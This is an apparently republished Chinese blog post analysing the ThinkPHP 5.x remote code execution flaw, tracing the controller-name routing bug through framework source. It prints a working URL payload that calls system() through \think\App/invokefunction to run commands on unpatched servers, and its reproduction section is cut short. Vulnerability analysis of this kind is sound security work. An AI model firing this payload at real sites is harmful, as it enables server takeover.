ThinkPHP5.x rec 漏洞分析与复现

编程入门 行业动态 更新时间:2024-10-07 06:41:41

ThinkPHP5.x rec <a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞分析与复现"/>

ThinkPHP5.x rec 漏洞分析与复现

.html?spm=5176.2020520001.1004.7.2e874bd363uLuf

先贴个漏洞预警,这里做一些内容摘要:

漏洞描述

由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接GetWebShell。

影响版本

ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31

漏洞分析

我们从补丁上来对漏洞做一定的分析
5.0.x
再放一个5.0.20源码
下面使补丁中修改的内容

于是我们从 $ controller开始分析
补丁对$ controller的名称做了过滤,接着往下看代码:

这里对controller实例化,到Loader里看看:

    public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = ''){list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);if (class_exists($class)) {return App::invokeClass($class);}if ($empty) {$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);if (class_exists($emptyClass)) {return new $emptyClass(Request::instance());}}

大体意思就是如果这个类name存在就实例化,接着跟进getModuleAndClass:

    protected static function getModuleAndClass($name, $layer, $appendSuffix){if (false !== strpos($name, '\\')) {$module = Request::instance()->module(); $class  = $name;  } else {if (strpos($name, '/')) {list($module, $name) = explode('/', $name, 2);} else {$module = Request::instance()->module();}$class = self::parseClass($module, $layer, $name, $appendSuffix);}return [$module, $class]; }

这个函数会将module和class返回,用于实例化,利用命名空间的特点,如果可以控制此处,如果可以控制此处的class,也就是补丁里的controller,就可以实例化任意类。如果我们设置控制器为\think\App,可以构造payload调用其方法invokeFuction,

    public static function invokeFunction($function, $vars = []){$reflect = new \ReflectionFunction($function);$args    = self::bindParams($reflect, $vars);// 记录执行信息self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');return $reflect->invokeArgs($args);}
\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

接下来就是如何设置controller为\think\App

$controller = strip_tags($result[1] ?: $config['default_controller']);

其中把result[1]的值传递到$ control中,

public static function module($result, $config, $convert = null)

接着找在哪里用了module方法,

protected static function exec($dispatch, $config){...$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);...
}

可以看到$ resule来自$ dispatch[‘module’],接着往前翻

public static function run(Request $request = null){...$dispatch = self::$dispatch;if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}...$data = self::exec($dispatch, $config);...
}

追routeCheck

    public static function routeCheck($request, array $config){...$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);...}

到Route中可以发现解析URL并没有进行安全检测
从Request::path()追到pathinfo()

    public function pathinfo(){if (is_null($this->pathinfo)) {if (isset($_GET[Config::get('var_pathinfo')])) {// 判断URL里面是否有兼容模式参数$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];unset($_GET[Config::get('var_pathinfo')]);} elseif (IS_CLI) {// CLI模式下 index.php module/controller/action/params/...$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';}// 分析PATHINFO信息if (!isset($_SERVER['PATH_INFO'])) {foreach (Config::get('pathinfo_fetch') as $type) {if (!empty($_SERVER[$type])) {$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];break;}}}$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');}return $this->pathinfo;}

var_pathinfo的默认配置为s,我们可以通过$_GET[‘s’]来传参
于是构造payload

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
漏洞复现:

在本地临时搭搭建了版本为5.0.22的tp:

~~

更多推荐

ThinkPHP5.x rec 漏洞分析与复现

本文发布于:2024-02-19 13:23:12,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1764164.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   rec

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!